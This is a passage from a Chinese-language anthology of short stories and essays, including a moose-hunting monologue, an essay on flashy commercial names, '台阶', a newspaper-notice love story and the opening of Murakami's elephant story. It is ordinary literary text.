　　“不知道。我怕，我怕我想想卡车，想想新工作，就习惯了。啊老天啊，任何一个心智正常的人都绝不能对这种事情习以为常啊。”

　　她缓缓地摇了摇头，目光掠过窗户，扫过灰墙，定格在墙上阴暗的装饰画上。她握紧双手，嘴唇微启。

　　“我今晚会好好考虑的，”他说，“我晚一点再睡，明天早上就能有头绪了。”

　　“小心别跟孩子们说漏嘴，让他们知道这种事可不好。”

　　“我会注意的。”

　　“那咱们就别再提这事了。我来做晚饭！”她蓦地站了起来，把脸埋进双手，又抬起头看看自己的手，再透过窗户看看夕阳。“哎，孩子们随时都会回来。”

　　“我不怎么饿。”

　　“你得吃东西啊，吃饱了才有力气继续。”她匆忙回到厨房，留他独自一人待在房里。四周静悄悄的，一丝风都没有。头顶是灰蒙蒙的天花板，一盏不亮的灯泡落寞地悬在当中，像极了天空中昏暗的月亮。他静静坐着，用两只手摩挲脸庞，又站起身，径直走进餐厅，下意识地坐到一把椅子上。面前的餐桌上铺着洁白的桌布，除此之外并无他物。他不由自主地摊开双手按在上面。

　　“整个下午，”他说，“我都在想这件事。”

　　她在厨房里穿梭，撞得银器、煎锅当当作响，打破了周遭的寂静。

　　“我在想，”他继续道：“尸体该横着放，还是竖着放？头朝哪儿，脚朝哪儿？男人和女人究竟该摆一起还是分开放？小孩呢？是单独装一车还是和大人塞一起？狗又怎么办？另外装还是就随它去？我还在想，一车能装多少尸体？是不是得一层叠一层？我头都想破了还是想不出个所以然来，一车能摞多少尸体，我根本猜不出来。”

　　他静静坐着，回想起傍晚的情形。车厢里已经装满了垃圾，用布盖着，看起来就像个凹凸不平的坟丘。如果突然掀开帆布会看到什么？开头几秒，你会看到白花花一大片通心粉似的东西，不过那是不停蠕动的活物，数以万计。随后，它们在阳光的炙烤下停止骚动，开始往下钻，直钻到烂菜叶、肉糜渣、咖啡末和鱼头堆里。等个十来秒，那些会动的“通心粉”就逃得一干二净，垃圾堆的动静也消停了下来。把布盖回去，那凹凸不平的形状又呈现在眼前。下面的垃圾堆重新为黑暗所笼罩，每每这时候，那些生物就又开始大肆爬动。

　　正当他还呆坐在空无一人的屋里时，门一下子开了。儿子和女儿有说有笑跑了进来，看到他坐在那儿，便停住了脚步。

　　妻子快步跑出厨房，扶住门框，凝视着面前的一家人。他们望着她脸上的神情，只听她说：“坐下，孩子们，快坐下！”她伸手示意他们。“你们回来得正是时候。”

我不喜欢人类，我想住进森林

阿澜 · 卢

　　我的父亲死了。

　　昨天我手刃了一头驼鹿。

　　我能说什么呢？

　　不是它就是我。我饿坏了。其实我都开始瘦了。

　　前一夜我在山下的玛丽谷，从一处院子里取稻草。我用我的刀割开稻草垛，装满背包，然后睡了一会儿。天蒙蒙亮的时候我起身来到营地东侧的洼地里，在一个预先选好的地方铺下稻草作饵，早就认定那是绝佳的藏身之处。之后我趴在洼地边缘守了几个小时。我知道这里有驼鹿出没。我见过它们。它们甚至一直走到帐篷边。它们在山坡上游荡，多多少少跟随着自己理性的直觉。总是在路上——这些驼鹿。它们似乎相信别处会更好。它们或许是对的。最后总算来了一头，身后跟着小鹿。小鹿也在让我有些意外。预想的情况中没有它。但是它在。风向绝佳。我用嘴叼着刀子，不是小刀，是大的，一把大刀，等待着。驼鹿慢悠悠朝我踱来。时不时在乱石堆和洼地里的小桦树上啃上两口。最后它站到那儿。就在我脚下。真他妈大。驼鹿都很大。总是容易忘记它们有多大。于是我跳到它背上。我当然已经在脑子里把过程演练了十几遍。我预料到它不喜欢这样，它要逃跑。确实如此。但还没等它加速，我已经把刀子插进了它的脑袋。就这么一下子，刀子穿过驼鹿脑壳扎进脑仁，就这么插在那儿像一顶奇怪的小帽子。我跳下来爬上一块大石头，看着那头驼鹿回顾自己的一生：所有饮食无忧的美好时光、阳光充足的慵懒夏日、秋后与公鹿之间的短暂爱情，以及之后的寂寞；生儿育女传宗接代的喜悦，但还有早年冬季的疲惫，以及烦躁——据我所知这是最不安的因素，得以逃离这些因素或许对它来说是种解脱。这一切都发生在它倒下前短暂的几秒钟内。

　　我站在那儿看了它一会儿，还有那头没有逃跑的小鹿，它就站在已死去的母亲跟前，并不完全明白究竟发生了什么。我感到一阵不快且陌生的兴奋。虽然我已经在这儿露宿多时，但这还是我第一次杀戮，这下我可杀了头大动物，挪威最大的动物，大概吧。兴奋与我的良知斗争着，我用一种残酷的方式利用了大自然，很可能索取的比我能够归还的多，反正短期内是这样，这让我很不喜欢。事物之间本应是平衡的。但饥饿就是饥饿，我宁可以后再报答。我这么想着，从石头上跳下来，赶走幼鹿，之后才从驼鹿的脑颅上抽出刀子，把死去的驼鹿开膛破肚。一大堆内脏滚了出来，我切下一块肚腩生吃了。当时当场。印第安人做派。之后我尽可能多地切了一些趁手的小块儿，运到帐篷，从那儿拿来斧子，把剩下的给劈了。天黑前我把整头动物都运到了营地。我用篝火煎了大块的肉，几星期以来头一回吃了顿饱的。剩下的肉我都挂到前几天造好的原始熏炉里熏着。然后我就睡了。

　　今天醒来的时候，听见小鹿在帐篷外。我还能听见它在。不敢起床。我没法正视它的眼睛。

　　我也不能就这么躺着。我需要牛奶。脱脂牛奶。没有牛奶我运转不良。我会变得烦躁易怒。我很清楚自己必须下山混迹人群才能搞到牛奶。我只好不得已而为之，牛奶非要不可。于是我像个正常人那样下山来到宇乐沃球场。以前不说每天吧，也算是经常去，但自从我——好吧，怎么说呢，自从我搬到森林里来以后，事实就是这样，我就是这么做了，我住在森林里——我去那儿的次数越来越少。原因之一是我没钱，之二是我不想和人打交道。他们特让我反感。越来越这样。但牛奶我非要不可。我父亲也喝牛奶。但现在他死了。

　　我能不断听见小鹿在帐篷外的声音。它用一种活跃吵闹的方式报复我。它想把我逼疯。我却钻进睡袋更深处，并系紧袋口，我和身外世界之间形成了一个空洞。我出不去，世界也进不来，我像婴儿般悄无声息若无其事地躺了一阵。但小鹿并不罢休。它就一直站着，站着。于是我就得撒尿了。老天，那不过是头幼鹿，我自言自语。为什么我，一个成年男人，要为杀死一头驼鹿而良心不安？这是物竞天择。这头小鹿必须学会这个，它应该感到高兴，教给它的是我，多普勒。如果是另一个更不择手段的家伙，可能连它一起都捎带了。

名字花哨的时代

肖复兴

　　如今，是一个任何人都可以乱起名字的时代。

　　走在大街上，无论店铺楼盘，还是酒吧咖啡屋，牌匾上很难再看到如老北京琉璃厂或前门大街上那些典雅古朴的名字。别说大而醒目的牌匾了，就是卖品上挂的小小的商标牌号，也尽是一些花里胡哨的名字，而不少人偏偏要把这小小的名字露在外面，显示自己与众不同的高贵与不凡，比如有一阵子，年轻的女子们特别愿意把印有 CK 商标的内裤要格外露在外面去招摇过市呢。甚至自家新生婴儿的姓名，如今都是那样的争奇斗艳，尤其崇尚洋味，叫娜呀、莎呀、菲呀的多了起来，应接不暇，令人莫衷一是。与上一代的名字相比，打上了这一代人明显的印记。

　　最有意思的是，北京有一家餐馆最近竟然把自己的招牌菜取名为“鸦片鱼头”，而且堂皇地挂在店外的墙上，招人眼目。立刻被人举报，被城管叫拆。餐馆老板一脸无辜，一个劲儿地打躬唱诺辩称：哪敢用鸦片做菜，只是想以此吸引人，意思是此菜如鸦片一样越吃越上瘾。显然，“鸦片”二字，不是名词，而是动词或形容词，不过是店家的店前故意撩人的幌子而已。

　　我国早有古训：必也正名乎，意即名不正则言不顺。如今，不仅有些店家早已经弃之不顾了，在店名和菜名上费尽心思，剑走边锋，或故弄玄虚，或耸人听闻；而且，不少地方也在名字上搞一些华而不实的花头或噱头，风头正劲，无人监管或监管不力而大行其道。别的不说，只看开发商新建的楼盘名字，大多要叫个欧郡豪庭、罗马花园、北欧小镇、莱茵河畔、奥古斯邦城堡呀之类，虽然那些地方离我们这里远而又远，见都没见过，却一下子好像认了个洋亲戚一样，就那样热情可掬地站立在咱自家的门口。

　　在全世界，恐怕再没有像我们这里如此热衷起古怪花哨名字的了。究其心理，不是崇洋，就是趋俗，甚至媚富。如此三要素是支撑如今花哨名字时代的三角架。

　　我们北京朝阳区就有一处叫“财满地”，如此土老财一样的名字竟然出现在号称 CBD 附近，真是令人哭笑不得。和它附近不远的长安街、神路街、雅宝路、芳草地、秀水河这样我们先人所起的古色古香的地名相比，仿佛倒退了几个朝代。

　　当然，这样已经几乎成为气候的古怪花哨名字的泛滥，不能完全怪罪店家或房产商，他们也是揣摩到了世人和世风的脉，才会如此投其所好，一拍而即合。如此泛滥的花哨名字，已经成为我们现代生活的一部分，让我们很难吃鱼吐刺一样将其剔除干净。

　　名字的问题，从来都是有时代的投影和人心的折射的。只要想一想在“文化大革命”之中，连父母给我们起的名字，都能够一夜怒放千花树一般。在瞬间重新起成诸如卫红、卫东、卫兵、卫彪之类一批时髦的名字，也就理解了那个年代在人们心目中的印记。人心潜意识里对起名字的作用和思路，无师自通而那样轻而易举就殊途同归。因此，叫停一处“鸦片鱼头”容易，将如今市面是那么多驳杂而令我们脸红的名字都改观，已经是非常困难的事情了。因为那是我们自己脚下的泡，随日子一起自己走出来的。

　　禁不住想起我们的前辈店家所取的名字，仅举号称北京三老大药铺的名字为例：同仁堂同仁之名取自《易经》，意为无论亲疏远近一视同仁，讲究一个济世的医德；鹤年堂取《淮南子》中“鹤寿千年，以极其游”之句，祈福之意境高远；千芝堂取“世有千芝，天下共登仁寿”之句，来自千芝堂留存下老药目中的话，一样道出了对生命与道德的尊崇。其古风悠悠，文化与道义同在，经时间风雨淘洗而常新，魅力至今依然健在。

　　对比我们的先人，真的要很惭愧才是，取名之事虽然不大，我们却是越走越倒退。说到底，还是文化的底蕴不够，还是对比西方我们总是有去不掉的自惭形秽的弱国心态在作祟。我们越来越重视发财赚钱，却不知道缺少我们自己文化作根基的财富之路是很难走远的。于是，我们为了眼前的利益，为了吸引人们的眼球，便容易像镀一层耀眼却极易磕碰掉的漆皮一样，起一些花哨的名字，如同二八月乱穿衣，乱了自己的方寸。

台阶

李森祥

　　父亲总觉得我们家的台阶低。

　　我们家的台阶有三级，用三块青石板铺成。那石板多年前由父亲从山上背下来，每块大约有三百来斤重。那个石匠笑着为父亲托在肩膀上，说是能一口气背到家，不收石料钱。结果父亲一下子背了三趟，还没觉得花了太大的力气。只是那一来一去的许多山路，磨破了他一双麻筋草鞋，父亲感到太可惜。那石板没经石匠光面，就铺在家门口。多年来，风吹雨淋，人踩牛踏，终于光滑了些，但磨不平那一颗颗硬币大的小凹。台阶上积了水时，从堂里望出去，有许多小亮点。天若放晴，穿堂风一吹，青石板比泥地干得快，父亲又用竹丝扫把扫了，石板上青幽幽的，宽敞阴凉，由不得人不去坐一坐，躺一躺。母亲坐在门槛上干活，我就被安置在青石板上。母亲说我那时好乖，我乖得坐坐就知道趴下来，用手指抓青石板，划出细细的沙沙声，我就痴痴地笑。我流着一大串涎水，张嘴在青石板上啃，结果啃了一嘴泥沫子。再大些，我就喜欢站在那条青石门槛上往台阶上跳。先是跳一级台阶，蹦、蹦、蹦！后来，我就跳二级台阶，蹦、蹦！再后来，我跳三级台阶，蹦！又觉得从上往下跳没意思，便调了个头，从下往上跳，啪、啪、啪！后来，又跳二级，啪、啪！再后来，又跳三级，啪！我想一步跳到门槛上，但摔了一大跤。父亲拍拍我后脑勺说，这样是会吃苦头的！

　　父亲的个子高，他觉得坐在台阶上很舒服。父亲把屁股坐在最高的一级上，两只脚板就搁在最低的一级。他的脚板宽大，裂着许多干沟，沟里嵌着沙子和泥土。父亲的这双脚是洗不干净的，他一般都去河里洗，拖着一双湿了的草鞋唿嗒唿嗒地走回来。大概到了过年，父亲才在家里洗一次脚。那天，母亲就特别高兴，亲自为他端了一大木盆水。盆水冒着热气，父亲就坐在台阶上很耐心地洗。因为沙子多的缘故，父亲要了个板刷刷拉刷拉地刷。后来父亲的脚终于洗好了，终于洗出了脚的本色，却也是黄几几的，是泥土的颜色。我为他倒水，倒出的是一盆泥浆，木盆底上还积了一层沙。父亲说洗了一次干净的脚，觉得这脚轻飘飘的没着落，踏在最硬实的青石板上也像踩在棉花上似的。

　　我们家的台阶低！父亲又像是对我，又像是自言自语地感叹。这句话他不知说了多少遍。

　　在我们家乡，住家门口总有台阶，高低不尽相同，从二三级到十几级的都有。家乡地势低，屋基做高些，不大容易进水。另外还有一说，台阶高，屋主人的地位就相应高。乡邻们在一起常常戏称：你们家的台阶高！言外之意，就是你们家有地位啊。

　　父亲老实厚道低眉顺眼累了一辈子，没人说过他有地位，父亲也从没觉得自己有地位。但他日夜盼着，准备着要造一栋有高台阶的新屋。

　　父亲的准备是十分漫长的。他今天从地里捡回一块砖，明天可能又捡进一片瓦，再就是往一个黑瓦罐里塞角票。虽然这些都很微不足道，但他做得很认真。于是，一年中他七个月种田，四个月去山里砍柴，半个月在大溪滩上捡屋基卵石，剩下半个月用来过年、编草鞋。大热天父亲挑一担谷子回来，身上着一片大汗，顾不得揩一把，就往门口的台阶上一坐。他开始“磨刀”。“磨刀”就是过烟瘾。烟吃饱了，“刀”快，活做得去。

　　台阶旁栽着一棵桃树，桃树为台阶遮出一片绿阴。父亲坐在绿阴里，能看见别人家高高的台阶，那里栽着几棵柳树，柳树枝老是摇来摇去，却摇不散父亲那专注的目光。这时，一片片旱烟雾在父亲头上飘来飘去。

　　父亲磨好了“刀”。去烟灰时，把烟枪的铜盏对着青石板嘎嘎地敲一敲，就匆忙地下田去。

　　冬天，晚稻收仓了，春花也种下地，父亲穿着草鞋去山里砍柴。他砍柴一为家烧，二为卖钱，一元一担。父亲一天砍一担半，得一元五角。那时我不知道山有多远，只知道鸡叫三遍时父亲出发，黄昏贴近家门口时归来，把柴靠在墙根上，很疲倦地坐在台阶上，把已经磨穿了底的草鞋脱下来，垒在门墙边。一个冬天下来，破草鞋堆得超过了台阶。

　　父亲就是这样准备了大半辈子。塞角票的瓦罐满了几次，门口空地上鹅卵石堆得小山般高。他终于觉得可以造屋了，便选定一个日子，破土动工。造屋的那些日子，父亲很兴奋。白天，他陪请来的匠人一起干，晚上他一个人搬砖头、担泥、筹划材料，干到半夜。睡下三四个钟头，他又起床安排第二天的活。我担心父亲有一天会垮下来。然而，父亲的精力却很旺盛，脸上总是挂着笑容，在屋场上从这头走到那头，给这个递一支烟，又为那个送一杯茶。终于，屋顶的最后一片瓦也盖上了。接着开始造台阶。那天早上父亲天没亮就起了床，我听着父亲的脚步声很轻地响进院子里去。我起来时，父亲已在新屋门口踏黄泥。黄泥是用来砌缝的，这种黏性很强的黄泥掺上一些石灰水豆浆水，砌出的缝铁老鼠也钻不开。那时已经是深秋，露水很大，雾也很大，父亲浮在雾里。父亲头发上像是飘了一层细雨，每一根细发都艰难地挑着一颗乃至数颗小水珠，随着父亲踏黄泥的节奏一起一伏。晃破了便滚到额头上，额头上一会儿就滚满了黄豆大的露珠。等泥水匠和两个助工来的时候，父亲已经把满满一凼黄泥踏好。那黄泥加了石灰和豆浆，颜色似玉米，红中透着白，上面冒着几个水泡，被早晨的阳光照着，亮亮的，红得很耀眼。

　　父亲从老屋里拿出四颗大鞭炮，他居然不敢放，让我来。我把火一点，呼一声，鞭炮蹿上了高空，稍停顿一下便掉下来，在即将落地的瞬间，“啪”那条红色的纸棍便被炸得粉碎。许多纸筒落在父亲的头上肩膀上，父亲的两手没处放似的，抄着不是，贴在胯骨上也不是。他仿佛觉得有许多目光在望他，就尽力把胸挺得高些，无奈，他的背是驼惯了的，胸无法挺得高。因而，父亲明明该高兴，却露出些尴尬的笑。不知怎么回事，我也偏偏在这让人高兴的瞬间发现，父亲老了。糟糕的是，父亲却没真正觉得他自己老，他仍然和我们一起去撬老屋门口那三块青石板，父亲边撬边和泥水匠争论那石板到底多重。泥水匠说大约有三百五十斤吧，父亲说不到三百斤。我亲眼看到父亲在用手去托青石板时腰闪了一下。我就不让他抬，他坚持要抬。抬的时候，他的一只手按着腰。三块青石板作为新台阶的基石被砌进去了。父亲曾摸着其中一块的那个小凹惊异地说，想不到这么深了，怪不得我的烟枪已经用旧了三根呢。新台阶砌好了，九级，正好比老台阶高出两倍。新台阶很气派，全部用水泥抹的面，泥瓦匠也很用心，面抹得很光。父亲按照要求，每天在上面浇一遍水。隔天，父亲就用手去按一按台阶，说硬了硬了。再隔几天，他又用细木棍去敲了敲，说实了实了。又隔了几天，他整个人走到台阶上去，把他的大脚板在每个部位都踩了踩，说全冻牢了。

　　于是，我们的家就搬进新屋里去。于是，父亲和我们就在新台阶上进进出出。搬进新屋的那天，我真想从台阶上面往下跳一遍，再从下往上跳一遍。然而，父亲叮嘱说，泥瓦匠交代，还没怎么大牢呢，小心些才是。其实，我也不想跳。我已经是大人了。而父亲自己却熬不住，当天就坐在台阶上抽烟。他坐在最高的一级上。他抽了一筒，举起烟枪往台阶上磕烟灰，磕了一下，感觉手有些不对劲，便猛然愣住。他忽然醒悟，台阶是水泥抹的面，不经磕。于是，他就憋住了不磕。正好那会儿有人从门口走过，见到父亲就打招呼说，晌午饭吃过了吗？父亲回答没吃过。其实他是吃过了，父亲不知怎么就回答错了。第二次他再坐台阶上时就比上次低了一级，他总觉得坐太高了和人打招呼有些不自在。然而，低了一级他还是不自在，便一级级地往下挪，挪到最低一级，他又觉得太低了，干脆就坐到门槛上去。但门槛是母亲的位置。农村里有这么个风俗，大庭广众之下，夫妇俩从不合坐一条板凳。

　　有一天，父亲挑了一担水回来，噔噔噔，很轻松地跨上了三级台阶，到第四级时，他的脚抬得很高，仿佛是在跨一道门槛，踩下去的时候像是被什么东西硌了一硌，他停顿了一下，才提后脚。那根很老的毛竹扁担受了震动，便“嘎叽”地惨叫了一声，父亲身子晃一晃，水便泼了一些在台阶上。我连忙去抢父亲的担子，他却很粗暴地一把推开我：不要你凑热闹，我连一担水都挑不动吗！我只好让在一边，看父亲把水挑进厨房里去。厨房里又传出一声扁担沉重的叫声，我和母亲都惊了惊，但我们都尽力保持平静。等父亲从厨房出来，他那张古铜色的脸很像一块青石板。父亲说他的腰闪了，要母亲为他治治。母亲懂土方，用根针放火上烧一烧，在父亲闪腰的部位刺九个洞，每个洞都刺出鲜红的血，然后拿出舀米的竹筒，点个火在筒内过一下，啪一声拍在那九个血孔上。第二天早晨，母亲拔下了那个竹筒，于是，从父亲的腰里流出好大一摊污黑的血。这以后，我就不敢再让父亲挑水。挑水由我包了。父亲闲着没什么事可干，又觉得很烦躁。以前他可以在青石台阶上坐几个小时，自那次腰闪了之后，似乎失去了这个兴趣，也不愿找别人聊聊，也很少跨出我们家的台阶。偶尔出去一趟，回来时，一副若有所失的模样。

　　我就陪父亲在门槛上休息一会儿，他那颗很倔的头颅埋在膝盖里半晌都没动，那极短的发，似刚收割过的庄稼茬，高低不齐，灰白而失去了生机。

　　好久之后，父亲又像问自己又像是问我：这人怎么了？

　　怎么了呢，父亲老了。

害羞的爱先生

法比安 · 塞比亚

　　阿其瓦多非常非常害羞，害羞到连照镜子都要先说声“不好意思”。他爱上了一个女孩，这女孩从周一到周五上下班都和他乘坐同一辆公交车。她很漂亮，有一双忧郁的眼睛，总是在六十路车第七排临窗而坐。

　　他从来没有和她说过话或者正面看过她。这些都是坐在她旁边观察到的。最近五年来，在从周一到周五上下班的路上，他总是鼓足勇气坐在她旁边挨着走廊的位置。有一次他清了清嗓子想引起她的注意，但是那女孩根本没听见。最近五年来，在从周一到周五上下班的路上，她总是在读日报。另一次，阿其瓦多想给她一块薄荷糖，但是太紧张了，结果在一次刹车时糖块滚得满车都是。而她，依然在看报，一点都没察觉。

　　一天，这个害羞的坠入情网的人壮起胆子，在日报的第三版刊登了一则启事：

　　致从周一到周五乘坐六十路车往返，坐在第七排临窗位置，有一双忧郁的眼睛的姑娘：

　　您有男朋友吗？

　　署名：害羞的爱先生。

　　第二天上午，在公交车上，他期待着意中人有所反应，结果什么也没有。但是第三天，阿其瓦多在日报第三版发现了这则启事：

　　致害羞的爱先生：

　　没有。

　　署名：从周一到周五乘坐六十路车往返，坐在第七排临窗位置，有一双忧郁的眼睛的姑娘。

　　他欣喜若狂，一下把报纸浸到了咖啡里，他把一个羊角面包往腋下一夹就来到了街上。旅途依然如故：他沉默不语，她埋头看报。

　　又一天，出现了这则启事：

　　致从周一到周五乘坐六十路车往返，坐在第七排临窗位置，有一双忧郁的眼睛的姑娘：

　　您叫什么名字？

　　署名：害羞的爱先生。

　　再一次，阿其瓦多在早餐时得知了她叫玛佳丽塔。于是他又去刊登了这一条：

　　多美的名字！像花朵一样。

　　署名：害羞的爱先生。

　　在第二天日报的第三版，这个害羞的人读到：

　　致害羞的爱先生：

　　是的，您看到了？

　　就这样一则又一则启事，你来我往，他们开始互相了解。他们通过铅字谈论听过的音乐、喜欢的电影、昨天的午餐与今天的晚餐、对花园里的动物和小精灵的相同喜好、在政治或地理上的一致看法、冰淇淋的相同口味，以及在文学、鞋子款式或“ch”算不算一个字母等问题上的分歧。

　　一个星期一，用眼角的余光看到她在抚摸着那天的启事，阿其瓦多精神一振。他假装不经意地看了一眼说：

　　“真是疯了！不是吗？”

　　“啊，是疯了，不过也很美。”

　　启事依然一则连一则，结果产生了一种出人意料的多米诺效应。忽然全城所有有着忧郁眼睛的姑娘都认为自己是那个从周一到周五乘坐六十路车往返，坐在第七排临窗位置的女孩；而每个腼腆的单身汉都以为自己就是害羞的爱先生。这样，像阿其瓦多那样有了心上人的人都鼓起勇气表白自己的爱，那些有着忧郁眼睛的姑娘都仔细地观察谁会是自己害羞的爱人，然后她们总是会发现有人在暗恋自己却羞于表白。

　　这样成就了一对又一对有情人。标题新闻中公布的相爱的人的数量不断增长，害羞的人和有着忧郁眼睛的人的数量则持续下降。在第三版，启事仍在继续。

　　同时，阿其瓦多和玛佳丽塔在车上也开始交谈。她给他读各种消息，他则谈谈自己的看法。他们也谈论那些启事。例如，谁会是害羞的爱先生和从周一到周五乘坐六十路车往返，坐在第七排临窗位置，有一双忧郁的眼睛的姑娘？他们会住在哪里？他们是金发？是黝黑皮肤？是光头？是高是矮？是胖是瘦？他们有一天会相识吗？

　　这样，他最终取得了她的信任，而她，开始喜欢每天的旅途中有他陪伴。因此，有一天阿其瓦多（还有全城的人）读到下面这则启事：

　　致尊敬的害羞的爱先生：

　　我恳求您原谅，我不能继续如此。我有了喜欢的人，再让您幻想是不对的。希望您能理解。

　　署名：从周一到周五乘坐六十路车往返，坐在第七排临窗位置，眼睛不再忧郁的姑娘。

　　全城人都焦急地等到了第二天。在公园、酒吧、办公室、街角和公交车上，人们读到：

　　致从周一到周五乘坐六十路车往返，坐在第七排临窗位置，眼睛不再忧郁的亲爱的姑娘：

　　我理解您。您不必道歉。希望您喜欢的人能使您非常幸福。

　　再会。

　　署名：害羞的爱先生。

　　启事不再出现。但是幸运的是，害羞的人和有着忧郁眼睛的人的数量没有上升，相爱的人的数量也很稳定。

　　阿其瓦多在旅途中不再沉默。玛佳丽塔也不再埋首日报。从周一到周五，他们乘坐六十路车往返，在车厢的任何位置，或站或坐，但是手牵着手。

　　周六和周日他们享受着甜蜜的爱情，不再害羞。

小女孩与厌倦

于尔克 · 舒比格曼

　　一个小女孩从来没有为什么事感到厌倦过，在下雨天也没有星期天也没有。有一天她决定去认识一下厌倦。

　　她先去向报刊亭里那个总是在打呵欠的卖报女人打听。

　　“它刚才还在这里呢，”女人说，“你只要等一会儿，它很快会回来的。”

　　小女孩等着。她看着女人工作。当她点钱的时候，她的手指翻着现金柜，好象在玩一件乐器。厌倦没有来。

　　“也许我该去路上等它，”小女孩说。她谢过了女人，离开了。

　　“如果我真的碰到了厌倦，”她一边走一边想，“我要怎么才能认出它来呢？”

　　小女孩向一位穿着桔黄色工作服正在爬梯子的先生提了这个问题。

　　“我能告诉你厌倦长得象什么，”先生回答说，“首先，它很长。”

　　“怎么长？”

　　“象所有尽头的尽头那么长。”

　　“然后呢？”小女孩问。

　　男人已经又爬了几节梯子。

　　“然后，它是浅灰色的。差不多是浅灰色的。”

　　“差不多是浅灰色的。”小女孩重复了一遍。

　　那天差不多是浅灰色的东西有很多：一只猫，一条路，一条裤子，墙，但是这些都不够长。

　　小女孩顺着一条街走，然后是另一条，然后她从一座铁路桥下走过，到头来，没有什么是足够长的。她穿过了一片田野，然后是另一片，沿着一条岸边满是杨树的小河走，她一口气走下去，走到了一切的尽头，所有尽头的尽头。

　　厌倦远远地看见小女孩走过来。

　　“哎，苏菲？”她走近的时候，他问道。

　　苏菲停下了。

　　“你怎么知道我叫苏菲？”

　　“这一下就能看出来。”

　　苏菲盯着厌倦。

　　“要说你呀，可不能一下看出来。的确你首先很长，然后你又差不多是浅灰色，但是除此而外，你更……”

　　“更什么？”

　　小女孩张开了嘴，但什么也没说。她打了个呵欠。

世界上最酷的爸爸

安吉 · K · K · 沃德

　　当我出生的时候爸爸已经 50 岁了。在别人有“妈妈先生”这个绰号之前，他已经因这个称呼名闻遐迩。我不知道为什么他代替妈妈而成为持家的人，但是我是我所有小朋友中惟一有爸爸陪在身边的人，从这一点来说我认为自己很幸运。

　　在我上低年级学校的多年中，爸爸为我做了许多事情。他让学校汽车司机到我家门口接我，而不让我到六街区远的普通汽车站。当我回家的时候，他常常已为我准备好了午餐——花生酱和肉冻三明治。我最喜欢过圣诞节，螺旋形式的三明治周围嵌满绿色的糖块并被剪成树的形状。

　　随着我渐渐长大，我努力想获得独立，我想摆脱掉这些父爱的“幼稚”的迹象，但是他不打算放弃。我进了高中之后，不能再回家吃午饭了，我便自己带饭，爸爸每天早早起来为我准备好午饭。在饭袋的外表是他自己设计的描绘山景的图画（这成为他的商标），或者一个刻着“爸爸和安吉”的心在饭袋的中央，在里面将有一块印着同一个心或“我爱你”的餐巾。许多次他写上一个笑话或谜语，他经常有一些可笑的话逗我笑并让我体会到他爱我。

　　我经常把我的午餐藏起来，这样将没有人看到饭袋或餐巾上的话，但这并没有隐瞒多长时间。一天，我的一个朋友看到餐巾，第二天我的所有朋友都等着看这块餐巾。他们也模仿这种方法，我想他们都希望也有人向他们显示那样的爱。我为有这样一位父亲而感到非常自豪。在我以后的几年高中生涯所收藏的那样的餐巾，至今仍大部保留着。

　　后来，当我离开家去上大学（我是最后一个离开家的子女）的时候，我想这样表达爱的方式将不能继续了。但是我和我的朋友们为他的爱而感到非常欣喜。

　　我希望在放学后天天见到父亲，因此我经常给他打电话，我的电话费用因此而扶摇直上。我们说什么并无多大关系，我只是想听到的他声音。第一年这已成为我们之间的一种仪式。每次我说完再见，他常说：“安吉？”

　　“是我，爸爸。”我答道。

　　“我爱你。”

　　“我也同样爱你，爸爸。

　　几乎每个星期五我都收到信。我前面座位上的同学常常知道这是谁来的信——信封上的姓名地址经常是用蜡笔写的，里面的信经常画上我们家的小狗或猫，并附上他与妈妈的相片。如果我上周末回家的话，还有与朋友们在城镇周围赛跑和把家作为一个小站的描写，还附上他的风景画和一颗写着“爸爸和安吉”的心形题字。

　　信件正好在每天的午饭前送到，因此我能够带着他的信去餐厅。我意识到把信藏起来是没有用的，因为我的室友是知道我爸爸送我的餐巾的高中朋友。我在星期五下午读信，画和信封被传阅，已成为室友们的一种“仪式”。

　　正是在这期间爸爸患了癌症。当信件在星期五不能到来的时候，我意识到他已虚弱得不能写字。他经常在早晨 4 点起床，这样他能静静地坐在院子里写他的信。如果他误了星期五的邮寄，信将迟到一两天，但信总会到的。我的朋友们经常称他“世界上最酷的爸爸”。一天我的朋友们送给他一张卡片，上面签了所有人的名字，并把那个称号赠给他，我确信他教会我们理解一个父亲的爱。如果我的朋友们开始送给他们的孩子餐巾，我一点也不惊奇。他留给他们一个深刻印象，并将激励他们给自己的孩子表达自己的爱。

　　在我的 4 年大学生活的日日夜夜，信件和电话从不曾间断。我决定回家和他呆在一起的时间到了，因为他的病情日益恶化，我已认识到我们共处的时光非常少了。那些天是最难捱的日子，眼看着这个曾经充满年轻活力的人已枯槁销蚀。最后他竟认不出我是谁了，把我喊成他曾多年未见的一个亲戚的名字，我知道这是由于病魔在作怪。

　　在他临死前的几天里，我和他单独呆在医院的病房里。我们互相握着手看电视。当我准备离开的时候，他说道：

　　“安吉？”

　　“是我，爸爸。”

　　“我爱你。”

　　“我也爱你，爸爸。”

象的失踪

村上春树

　　大象从镇上的象舍中失踪，我是从报纸上知道的。这天，我一如往常地被调至 6 点 30 分的闹钟叫醒。然后去厨房烧咖啡，烤面包片，打开超短波广播，啃着面包片在餐桌上摊开晨报。我这人看报总是从第一版依序看下去，因此过了好半天才接触到关于大象失踪的报道。第一版报道的是日美贸易摩擦问题和战略防御构思，接下去是国内政治版，国际政治版，经济版，读者来信版，读者专栏，不动产广告版，体育版，再往下才是地方版。

　　大象失踪的报道登在地方版的头条。标题相当醒目：“××镇大象去向不明”。紧接着是一行小标题：“镇民人心惶惶，要求追究管理责任”。还有几名警察验证无象象舍的照片。没有象的象舍总好像不大自然。空空荡荡，冷冷清清，俨然被掏空五脏六腑后干燥了的庞大动物。

　　我拨开落在报纸上的面包屑，专心致志地逐行阅读这则报道。上面说人们发现大象失踪是 5 月 18 日（即昨天）下午 2 时。供食公司的人像往常那样用卡车为大象运来食物（其主食为镇立小学的学生们的剩饭），从而发现象舍空空如也。套在象脚上的铁环依然上着锁剩在那里，看来是大象整个把脚拔了出去，失踪的不仅仅是大象，一直照料大象的男饲养员也一同无影无踪。

　　人们最后见到大象和饲养员是前天（即 5 月 17 日）傍晚 5 点多钟。5 个小学生来象舍写生，5 点多之前一直用蜡笔为大象画像来着。这几个小学生是大象的最后目击者，后来再无人见到。因为 6 点铃一响，饲养员便将象广场的门关上，使人们无法入内。

　　5 个小学生异口同声地作证说，那时无论大象还是饲养员都没显出任何异常。大象一如往常乖乖站在广场中央，不时左右摇晃一次鼻子，眯缝起满是皱纹的眼睛。它已老态龙钟，动一下身体都显得甚是吃力。初次目睹之人，往往感到不安，真怕它马上瘫倒在地上断气。

　　以上便是这则新闻报道的内容。

